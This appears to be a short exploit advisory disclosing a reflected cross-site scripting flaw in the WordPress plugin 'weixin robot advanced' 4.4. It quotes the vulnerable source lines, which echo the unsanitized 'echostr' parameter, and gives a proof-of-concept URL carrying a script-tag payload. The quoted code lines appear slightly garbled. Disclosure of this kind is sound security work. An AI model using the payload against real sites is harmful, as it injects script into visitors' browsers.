# Exploit Title: WordPress Plugin weixin robot advanced 4.4 Cross-Site-Scripting
# Date: 06.25.2018
# Exploit Author: Ashkan Moghaddas
# Software Link : https://github.com/wp-plugins/weixin-robot-advanced
# Tested on: Windows-Linux
# Google Dork: N/A
=====================================
Vulnerable Page:
/weixin-robot-class.php
=====================================
Vulnerable Source:
line 18: echo echo $echoStr;
line 17: $echoStr = $_GET['echostr'];
14: if(isset($_GET['debug'])) else
15: if($this->checksignature () || isset($_GET['yixin']))
16: if(isset($_GET['echostr']))
=====================================
POC:
http://localhost/wp/wp-content/plugins/weixin-robot-class.php?echostr=<script>alert('ultrasec')</script>
=====================================
WebSite : UltraSec.Org
Channel : @UltraSecurity
Email : ashkanmoghaddas77@gmail.com
Special Thanks : abolfazl hajizade , MrQadir , Milad Ranjbar